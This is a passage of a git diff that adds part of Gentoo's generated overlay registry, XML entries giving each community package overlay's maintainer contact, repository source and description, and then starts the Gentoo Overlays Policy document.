+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/purak.git;a=summary</link>
+    <description>purak's overlay</description>
+  </overlay>
+  <overlay contact="sebastian@pipping.org" name="pure-funtoo" src="git://git.goodpoint.de/pure-funtoo.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.goodpoint.de/?p=pure-funtoo.git;a=summary</link>
+    <description>Gentoo overlay with Funtoo-only ebuilds extracted from Funtoo tree</description>
+  </overlay>
+  <overlay contact="python@gentoo.org" name="python" src="svn://overlays.gentoo.org/proj/python/overlays/python" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/python/wiki</link>
+    <description>Python overlay.</description>
+  </overlay>
+  <overlay contact="pythonhead@gentoo.org" name="pythonhead" src="svn://overlays.gentoo.org/dev/pythonhead" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>Mostly Python-related ebuilds.</description>
+  </overlay>
+  <overlay contact="yngwin@gentoo.org" name="qting-edge" src="git://gitorious.org/gentoo-qt/qting-edge.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gitorious.org/gentoo-qt/qting-edge</link>
+    <description>Experimental Qt4 ebuilds and related packages, provided by
+    Gentoo's Qt team. The overlay contains ebuilds for official pre-releases,
+    and live ebuilds for both the official Nokia Qt Software git repository and
+    KDE's qt-copy subversion repository. It also has various (non-KDE) packages
+    that use Qt4.</description>
+  </overlay>
+  <overlay contact="rafael@rafaelmartins.eng.br" name="rafaelmartins" src="http://hg.rafaelmartins.eng.br/gentoo-overlay/" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlay.rafaelmartins.eng.br/</link>
+    <description>Rafael Martins's Gentoo overlay</description>
+  </overlay>
+  <overlay contact="ramereth@gentoo.org" name="ramereth" src="git://github.com/ramereth/ramereth-overlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/ramereth/ramereth-overlay/tree/master</link>
+    <description>Ramereth developer overlay</description>
+  </overlay>
+  <overlay contact="mahatma@eu.by" name="raw" src="http://raw.googlecode.com/svn/trunk" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://code.google.com/p/raw/</link>
+    <description>some raw stuff</description>
+  </overlay>
+  <overlay contact="rbu@gentoo.org" name="rbu" src="svn://overlays.gentoo.org/dev/rbu/overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/rbu/wiki</link>
+    <description>Random stuff.</description>
+  </overlay>
+  <overlay contact="remi@gentoo.org" name="remi" src="git://git.overlays.gentoo.org/dev/remi.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/remi.git</link>
+    <description>Remi Cardona developer overlay</description>
+  </overlay>
+  <overlay contact="rion4ik@gmail.com" name="rion" src="http://rion-overlay.googlecode.com/hg/" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://code.google.com/p/rion-overlay/</link>
+    <description>Russian overlay with a some patched and specific
+    software</description>
+  </overlay>
+  <overlay contact="robbat2@gentoo.org" name="robbat2" src="git://git.overlays.gentoo.org/dev/robbat2.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/robbat2.git;a=summary</link>
+    <description>Developer overlay</description>
+  </overlay>
+  <overlay contact="lazy_bum@o2.pl" name="roslin" src="git://gitorious.org/roslin/roslin.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gitorious.org/roslin/roslin</link>
+    <description>This is roslin, my small overlay. Enjoy! (:</description>
+  </overlay>
+  <overlay contact="oleg.kluchkin@gmail.com" name="rostov" src="http://svn.os-rostov.ru/repos/overlay" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://os-rostov.ru/</link>
+    <description>Repo for development of ebuilds.</description>
+  </overlay>
+  <overlay contact="rox@gentoo.org" name="rox" src="svn://overlays.gentoo.org/proj/rox/trunk/overlay/" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/rox</link>
+    <description>Experimental ebuilds for the Rox Desktop.</description>
+  </overlay>
+  <overlay contact="ruben.bressler@cerpamid.co.cu" name="rubenqba" src="git://git.overlays.gentoo.org/user/rubenqba.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/rubenqba.git;a=summary</link>
+    <description>User overlay with miscellaneous ebuilds</description>
+  </overlay>
+  <overlay contact="ruby@gentoo.org" name="ruby" src="git://git.overlays.gentoo.org/proj/ruby-overlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/ruby/wiki</link>
+    <description>Experimental ebuilds from the Ruby edge.</description>
+  </overlay>
+  <overlay contact="sven.eckelmann@gmx.de" name="s3d" src="git://gitorious.org/s3d-gentoo/s3d-gentoo.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://s3d.berlios.de/</link>
+    <description>Gentoo ebuilds for s3d and related packages. s3d is a 3d
+    network display server which can be used as 3d desktop
+    enviroment.</description>
+  </overlay>
+  <overlay contact="lxnay@sabayonlinux.org" name="sabayon" src="git://sabayon.org/projects/overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://sabayonlinux.org</link>
+    <description>Purpose To provide ebuilds that were created from the Sabayon
+    Linux project such as customized programs, ebuilds not in the official
+    portage, artwork, themes, etc. Bugs to
+    http://bugs.sabayonlinux.org/bugs/</description>
+  </overlay>
+  <overlay contact="cschwan@students.uni-mainz.de" name="sage-on-gentoo" src="git://github.com/cschwan/sage-on-gentoo.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/cschwan/sage-on-gentoo</link>
+    <description>Split ebuilds for the Sage computer algebra system</description>
+  </overlay>
+  <overlay contact="gentoo@sattvik.com" name="sattvik" src="git://git.overlays.gentoo.org/user/sattvik.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/sattvik.git;a=summary</link>
+    <description>sattvik's overlay with personalized bug fixes and tweaks</description>
+  </overlay>
+  <overlay contact="scarabeus@gentoo.org" name="scarabeus" src="git://git.overlays.gentoo.org/dev/scarabeus.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/scarabeus.git</link>
+    <description>Tomas Chvatal developer overlay</description>
+  </overlay>
+  <overlay contact="sci@gentoo.org" name="science" src="git://git.overlays.gentoo.org/proj/sci.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/science/wiki/en</link>
+    <description>The Gentoo Science Overlay is intended as a place to work
+    outside of the main portage tree on experimental ebuilds. Our aim is to
+    increase the rate of development of scientific packages for Gentoo, but
+    ebuilds in this repository are by their very nature more experimental. If
+    you wish to use them you should be willing to help test and report
+    bugs.</description>
+  </overlay>
+  <overlay contact="matsuu@gentoo.org" name="secondlife" src="svn://overlays.gentoo.org/dev/matsuu/secondlife/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/matsuu/</link>
+    <description>Matsuu's Second Life Overlay</description>
+  </overlay>
+  <overlay contact="seemant@gentoo.org" name="seemant" src="svn://overlays.gentoo.org/dev/seemant" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/seemant</link>
+    <description>Seemant's development overlay for django and other
+    things.</description>
+  </overlay>
+  <overlay contact="serkan@gentoo.org" name="serkan-overlay" src="http://bazaar.launchpad.net/~serkan-kaba/serkan-overlay/mainline" status="official" type="bzr">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~serkan</link>
+    <description>Serkan Kaba's (serkan) private developer overlay</description>
+  </overlay>
+  <overlay contact="msl@calivia.com" name="sipx" src="http://scm.calivia.com/svn/sipx/gentoo" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://scm.calivia.com/svn/sipx/gentoo</link>
+    <description>This repository contains sipx and related
+    ebuilds.</description>
+  </overlay>
+  <overlay contact="smithdanea@gmail.com" name="smithdanea" src="git://git.overlays.gentoo.org/user/smithdanea.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/smithdanea.git;a=summary</link>
+    <description>smithdanea's personal overlay</description>
+  </overlay>
+  <overlay contact="sochotnicky@gentoo.org" name="sochotnicky" src="git://git.overlays.gentoo.org/dev/sochotnicky.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/sochotnicky.git;a=summary</link>
+    <description>Developer overlay</description>
+  </overlay>
+  <overlay contact="l.valerimanera@gmail.com" name="soor-overlay" src="git://repo.or.cz/gentoo-soor-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <description>Gentoo ebuild overlay with misc stuff that I find
+    interesting.</description>
+  </overlay>
+  <overlay contact="sping@gentoo.org" name="sping" src="git://git.goodpoint.de/overlay-sping.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.goodpoint.de/?p=overlay-sping.git;a=summary</link>
+    <description>Gentoo overlay of Sebastian Pipping</description>
+  </overlay>
+  <overlay contact="steev@gentoo.org" name="steev" src="git://git.overlays.gentoo.org/dev/steev.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=dev/steev.git;a=summary</link>
+    <description>Steev Klimaszewski's Overlay</description>
+  </overlay>
+  <overlay contact="jkomar@jbox.ca" name="stormfront" src="http://stormfront.googlecode.com/svn/trunk/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://code.google.com/p/stormfront/</link>
+    <description>Overlay maintained by Stormfront Ventures (http://www.jbox.ca/)</description>
+  </overlay>
+  <overlay contact="peter@stuge.se" name="stuge" src="git://git.stuge.se/stuge-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://stuge.se/</link>
+    <description>Various ebuilds by Konsult Stuge</description>
+  </overlay>
+  <overlay contact="alsroot@member.fsf.org" name="sugar" src="git://git.overlays.gentoo.org/proj/sugar.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://sugarlabs.org/go/Community/Distributions/Gentoo</link>
+    <description>Sugar (sugarlabs.org) related packages</description>
+  </overlay>
+  <overlay contact="suka@gentoo.org" name="suka" src="svn://overlays.gentoo.org/dev/suka" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/suka</link>
+    <description>experimental stuff of all sorts</description>
+  </overlay>
+  <overlay contact="sunrise@gentoo.org" name="sunrise" src="svn://overlays.gentoo.org/proj/sunrise/reviewed/" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/sunrise</link>
+    <description>Ebuilds for bugs assigned to maintainer-wanted</description>
+  </overlay>
+  <overlay contact="swegener@gentoo.org" name="swegener" src="rsync://rsync.gentoo.stealer.net/swegener-overlay/" status="official" type="rsync">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~swegener/</link>
+    <description>This overlay contains some experimental stuff, but mostly
+    stuff I quickly wrote an ebuild for or grabed it from bugzilla and did not
+    have the time to commit it to the official tree or do not consider it ready
+    for it.</description>
+  </overlay>
+  <overlay contact="tante@the-gay-bar.com" name="tante" src="git://gitorious.org/tante_overlay/mainline.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gitorious.org/projects/tante_overlay/repos/mainline</link>
+    <description>Overlay of tante</description>
+  </overlay>
+  <overlay contact="mescalinum@gentoo.org" name="tcl-8.6" src="svn://overlays.gentoo.org/dev/mescalinum/tcl-8.6" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>https://overlays.gentoo.org/dev/mescalinum</link>
+    <description>Tcl/Tk 8.8, Itcl/Itk 4 (beta) and other fixed
+    packages</description>
+  </overlay>
+  <overlay contact="mescalinum@gentoo.org" name="tcl-multislot" src="svn://overlays.gentoo.org/dev/mescalinum/tcl-multislot" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>https://overlays.gentoo.org/dev/mescalinum</link>
+    <description>Tcl/Tk multi-slot system, with tcltk eselect module for
+    switching across multiple versions (actually: 8.4 8.5 8.6)</description>
+  </overlay>
+  <overlay contact="rmh3093@gmail.com" name="THE" src="git://zen-sources.org/zen/THE.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <description>Miscellaneous ebuilds not yet in portage</description>
+  </overlay>
+  <overlay contact="mavrinac@gmail.com" name="thousand-parsec" src="git://git.thousandparsec.net/git/gentoo-overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.mavrinac.com/index.cgi?page=tp</link>
+    <description>Overlay for the Thousand Parsec framework for turn-based space
+    empire building games.</description>
+  </overlay>
+  <overlay contact="toolchain@gentoo.org" name="toolchain" src="svn://overlays.gentoo.org/proj/toolchain" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/toolchain/wiki</link>
+    <description>Toolchain ebuilds that are unsuitable for the tree. Snapshots,
+    unstable versions, etc...</description>
+  </overlay>
+  <overlay contact="trapni@gentoo.org" name="trapni" src="svn://overlays.gentoo.org/dev/trapni/overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/dev/trapni/</link>
+    <description>trapni's private developer overlay (mostly covering
+    YaCS/server related ebuilds for now)</description>
+  </overlay>
+  <overlay contact="gentoo-overlay@digital-trauma.de" name="trauma" src="http://svn.digital-trauma.de/gentoo/trunk/" status="unofficial" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://svn.digital-trauma.de/gentoo/</link>
+    <description>This overlay has a binary, current version of eclipse with
+    many plugins and some small new ebuilds from trauma and
+    bugzilla.g.o.</description>
+  </overlay>
+  <overlay contact="cedric.krier@b2ck.com" name="tryton" src="http://www.tryton.org/hg/tryton-overlay/" status="unofficial" type="mercurial">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.tryton.org/</link>
+    <description>Tryton</description>
+  </overlay>
+  <overlay contact="sping@gentoo.org" name="turbogears2" src="git://git.overlays.gentoo.org/proj/turbogears2.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=proj/turbogears2.git;a=summary</link>
+    <description>TurboGears 2.x-related ebuilds</description>
+  </overlay>
+  <overlay contact="f@ub0r.de" name="ub0rlay" src="git://repo.or.cz/ub0rlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://repo.or.cz/w/ub0rlay.git</link>
+    <description>This is an ub0r overlay!</description>
+  </overlay>
+  <overlay contact="b.mallinger@gmx.at" name="unknown-horizons" src="git://github.com/unknown-horizons/Portage-Overlay-for-Unknown-Horizons.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/unknown-horizons/Portage-Overlay-for-Unknown-Horizons</link>
+    <description>Overlay of the game Unknown Horizons (http://www.unknown-horizons.org/)</description>
+  </overlay>
+  <overlay contact="vdr@gentoo.org" name="vdr-devel" src="svn://overlays.gentoo.org/proj/vdr/vdr-devel" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/vdr</link>
+    <description>Overlay for VDR, that contains ebuilds for development version
+    of VDR, and specific plugins for that version.</description>
+  </overlay>
+  <overlay contact="vdr@gentoo.org" name="vdr-testing" src="svn://overlays.gentoo.org/proj/vdr/testing" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/vdr</link>
+    <description>Development overlay for VDR, testing branch.</description>
+  </overlay>
+  <overlay contact="vdr@gentoo.org" name="vdr-xine" src="svn://overlays.gentoo.org/proj/vdr/vdr-xine-overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/vdr</link>
+    <description>Overlay for VDR, that contains ebuilds for the vdr-xine output
+    plugin, and the needed patched xine-lib</description>
+  </overlay>
+  <overlay contact="netcelli@verlihub-project.org" name="verlihub" src="git://verlihub.git.sourceforge.net/gitroot/verlihub/overlay" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.verlihub-project.org</link>
+    <description>Verlihub is a Direct Connect protocol server runs on Linux OS
+    written in C++; Many features are available: MySQL database, very low use
+    of CPU, RAM and Bandwidth, deflood integrated protection,
+    plugins</description>
+  </overlay>
+  <overlay contact="virtuousfox@gmail.com" name="v-fox" src="git://github.com/v-fox/gentoo_overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/v-fox</link>
+    <description>Public Gentoo overlay for games, emulators and more of nifty stuff</description>
+  </overlay>
+  <overlay contact="vmware@gentoo.org" name="vmware" src="svn://overlays.gentoo.org/proj/vmware/trunk" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://bugs.gentoo.org/show_bug.cgi?id=122500</link>
+    <description>Testing ground for vmware-server and vmware-server-console
+    ebuilds until they can eventually be committed into portage.</description>
+  </overlay>
+  <overlay contact="voip@gentoo.org" name="voip" src="svn://overlays.gentoo.org/proj/voip/trunk" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://svn.netdomination.org/gentoo-voip</link>
+    <description>Voice over IP related ebuilds.</description>
+  </overlay>
+  <overlay contact="voyageur@gentoo.org" name="voyageur" src="https://cafarelli.fr/svn/voyageur-overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>
+    http://cafarelli.fr/websvn/listing.php?repname=voyageur-overlay</link>
+    <description>Voyageur's random ebuilds stuff</description>
+  </overlay>
+  <overlay contact="vserver-devs@gentoo.org" name="vps" src="svn://overlays.gentoo.org/proj/vps" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/vps</link>
+    <description>Gentoo VPS project overlay (experimental
+    ebuilds)</description>
+  </overlay>
+  <overlay contact="nutz@noova.de" name="wacfg" src="git://github.com/nutztherookie/wacfg-overlay.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://wacfg.noova.de</link>
+    <description>Overlay for WaCfg - webapp-configs replacement.</description>
+  </overlay>
+  <overlay contact="web-apps@gentoo.org" name="webapps-experimental" src="svn://overlays.gentoo.org/proj/webapps/experimental" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>This is the home of Gentoo's wider collection of ebuilds for
+    web-based applications. This is where we collect all the ebuilds submitted
+    to Bugzilla by our users, and make them available in an easy-to-use overlay
+    for wider testing.</description>
+  </overlay>
+  <overlay contact="wired@gentoo.org" name="wirelay" src="git://github.com/wired/wirelay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://dev.gentoo.org/~wired/</link>
+    <description>wired's testing grounds and bleeding edge
+    ebuilds</description>
+  </overlay>
+  <overlay contact="iskren.s@gmail.com" name="wish" src="git://git.overlays.gentoo.org/user/wish.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/wish.git;a=summary</link>
+    <description>Experimental version bumps and fixes</description>
+  </overlay>
+  <overlay contact="wolf31o2@wolf31o2.org" name="wolf31o2" src="git://git.wolf31o2.org/overlays/wolf31o2.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.wolf31o2.org</link>
+    <description>Wolf31o2's project ebuilds</description>
+  </overlay>
+  <overlay contact="wrobel@gentoo.org" name="wrobel" src="svn://overlays.gentoo.org/dev/wrobel/stable" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>A collection of stable ebuilds from Gunnar Wrobel
+    [wrobel@gentoo.org].</description>
+  </overlay>
+  <overlay contact="wschlich@gentoo.org" name="wschlich" src="svn://overlays.gentoo.org/dev/wschlich/stable" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>A collection of stable ebuilds from Wolfram Schlich
+    [wschlich@gentoo.org].</description>
+  </overlay>
+  <overlay contact="wschlich@gentoo.org" name="wschlich-testing" src="svn://overlays.gentoo.org/dev/wschlich/testing" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org</link>
+    <description>A collection of testing ebuilds from Wolfram Schlich
+    [wschlich@gentoo.org].</description>
+  </overlay>
+  <overlay contact="x11@gentoo.org" name="x11" src="git://git.overlays.gentoo.org/proj/x11" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://www.gentoo.org/proj/en/desktop/x/x11/</link>
+    <description>Gentoo X11 team overlay</description>
+  </overlay>
+  <overlay contact="xemacs@gentoo.org" name="xemacs" src="svn://overlays.gentoo.org/proj/emacs/xemacs-overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/emacs/</link>
+    <description>Provide XEmacs related ebuilds which are a bit experimental or
+    work-in-progress. Don't rely on them, but don't hesitate to file bugs or
+    write emails.</description>
+  </overlay>
+  <overlay contact="xen@gentoo.org" name="xen" src="svn://overlays.gentoo.org/proj/xen/overlay" status="official" type="svn">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/xen</link>
+    <description>Experimental ebuilds for Xen.</description>
+  </overlay>
+  <overlay contact="xfce@gentoo.org" name="xfce-dev" src="git://git.overlays.gentoo.org/proj/xfce.git" status="official" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://overlays.gentoo.org/proj/xfce/wiki</link>
+    <description>Experimental ebuilds for the Xfce4 Desktop
+    Environment</description>
+  </overlay>
+  <overlay contact="dgoncharov@users.sf.net" name="xgr" src="git://github.com/dgoncharov/xgr.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://github.com/dgoncharov/xgr</link>
+    <description>Ebuilds of misc packages which are not present in the Gentoo tree</description>
+  </overlay>
+  <overlay contact="olivier.huber@crans.org" name="xhub" src="git://git.overlays.gentoo.org/user/xhub.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.overlays.gentoo.org/gitweb/?p=user/xhub.git;a=summary</link>
+    <description>xhub's overlay</description>
+  </overlay>
+  <overlay contact="sebastian@pipping.org" name="xmms-zombie" src="git://git.goodpoint.de/overlay-xmms-zombie.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://git.goodpoint.de/?p=overlay-xmms-zombie.git;a=summary</link>
+    <description>Overlay with XMMS-1 related zombiebuilds</description>
+  </overlay>
+  <overlay contact="casta@xwing.info" name="xwing" src="rsync://gentoo.xwing.info/xwing-overlay" status="unofficial" type="rsync">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gentoo.xwing.info</link>
+    <description>This overlay contains some experimental stuff, such as
+    turboprint printers driver (bug #61311), intel-536ep driver for lastest 2.6
+    kernels (bug #127464), lastest grisbi version (proxy maintainer) before
+    it's portage integration and so on.</description>
+  </overlay>
+  <overlay contact="bruno@yporti.com" name="yporti" src="git://gitorious.org/yporti/overlay.git" status="unofficial" type="git">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gitorious.org/yporti/overlay</link>
+    <description>Bruno Yporti's Gentoo overlay for ~amd64 and ~x86</description>
+  </overlay>
+  <overlay contact="ycarus@zugaina.org" name="zugaina" src="rsync://gentoo.zugaina.org/zugaina-portage" status="unofficial" type="rsync">
+    <!-- THIS FILE IS GENERATED, PLEASE EDIT repositories.xml INSTEAD. -->
+    <link>http://gentoo.zugaina.org/</link>
+    <description>collection of ebuilds by ycarus</description>
+  </overlay>
+</layman>
diff --git a/xml/htdocs/proj/en/overlays/policy.xml b/xml/htdocs/proj/en/overlays/policy.xml
new file mode 100644
index 00000000..7e675d4f
--- /dev/null
+++ b/xml/htdocs/proj/en/overlays/policy.xml
@@ -0,0 +1,389 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/overlays/policy.xml,v 1.6 2008/10/12 09:57:06 robbat2 Exp $ -->
+
+<guide link="/proj/en/overlays/policy.xml" lang="en">
+<title>Gentoo Overlays Policy</title>
+
+<author title="Author">
+  <mail link="stuart">Stuart Herbert</mail>
+</author>
+<author title="Author">
+  <mail link="jokey">Markus Ullmann</mail>
+</author>
+<author title="Author">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+
+<abstract>
+This is the policy document governing the Gentoo Overlays service.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>Draft 2.1</version>
+<date>2008-10-12</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+<p>
+Here are the policies for the overlays.g.o service.  If you host an overlay on
+overlays.g.o, or if you participate in the administration of overlays.g.o, you
+must follow these policies.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>What Is The Overlays.g.o Service?</title>
+<section>
+<body>
+<p>
+overlays.g.o provides a social workspace, for Gentoo projects and developers
